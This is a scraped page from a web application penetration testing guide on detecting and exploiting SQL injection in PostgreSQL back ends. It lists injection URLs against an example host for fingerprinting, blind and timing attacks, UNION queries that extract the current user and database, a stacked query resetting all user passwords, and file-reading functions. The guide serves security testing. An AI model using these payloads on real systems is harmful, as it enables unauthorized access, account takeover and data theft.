4.0
1NSchAb
1NSchAb
- No tags were found...
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
126<br />
Web Application Penetration Testing<br />
• PHP Connector allows multiple statements to be executed by<br />
using ; as a statement separator<br />
• SQL Statements can be truncated by appending the comment<br />
char: --.<br />
• LIMIT and OFFSET can be used in a SELECT statement to retrieve<br />
a portion of the result set generated by the query<br />
From now on it is assumed that http: /www.example.com/news.<br />
php?id=1 is vulnerable to SQL Injection attacks.<br />
How to Test<br />
Identifying PostgreSQL<br />
When a SQL Injection has been found, you need to carefully fingerprint<br />
the backend database engine. You can determine that<br />
the backend database engine is PostgreSQL by using the :: cast<br />
operator.<br />
Examples:<br />
In addition, the function version() can be used to grab the PostgreSQL<br />
banner. This will also show the underlying operating system<br />
type and version.<br />
Example:<br />
http: /www.example.com/store.php?id=1 AND 1::int=1<br />
An example of a banner string that could be returned is:<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc<br />
(GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
Blind Injection<br />
For blind SQL injection attacks, you should take into consideration<br />
the following built-in functions:<br />
• String Length<br />
- LENGTH(str)<br />
• Extract a substring from a given string<br />
- SUBSTR(str,index,offset)<br />
• String representation with no single quotes<br />
- CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)<br />
Starting at version 8.2, PostgreSQL introduced a built-in function,<br />
pg_sleep(n), to make the current session process sleep for n seconds.<br />
This function can be leveraged to execute timing attacks<br />
(discussed in detail at Blind SQL Injection).<br />
In addition, you can easily create a custom pg_sleep(n) in previous<br />
versions by using libc:<br />
• CREATE function pg_sleep(int) RETURNS int AS ‘/lib/libc.so.6’,<br />
‘sleep’ LANGUAGE ‘C’ STRICT<br />
Single Quote unescape<br />
Strings can be encoded, to prevent single quotes escaping, by using<br />
chr() function.<br />
• chr(n): Returns the character whose ASCII value corresponds to<br />
the number n<br />
• ascii(n): Returns the ASCII value which corresponds to the<br />
character n<br />
Let’s say you want to encode the string ‘root’:<br />
select ascii(‘r’)<br />
114<br />
select ascii(‘o’)<br />
111<br />
select ascii(‘t’)<br />
116<br />
We can encode ‘root’ as:<br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
Example:<br />
http: /www.example.com/store.php?id=1; UPDATE users<br />
SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--<br />
Attack Vectors<br />
Current User<br />
The identity of the current user can be retrieved with the following<br />
SQL SELECT statements:<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
Examples:<br />
http: /www.example.com/store.php?id=1 UNION ALL SE-<br />
LECT user,NULL,NULL--<br />
http: /www.example.com/store.php?id=1 UNION ALL SE-<br />
LECT current_user, NULL, NULL--<br />
Current Database<br />
The built-in function current_database() returns the current database<br />
name.<br />
Example:<br />
http: /www.example.com/store.php?id=1 UNION ALL SE-<br />
LECT current_database(),NULL,NULL--<br />
Reading from a file<br />
PostgreSQL provides two ways to access a local file:<br />
• COPY statement<br />
• pg_read_file() internal function (starting from PostgreSQL 8.1)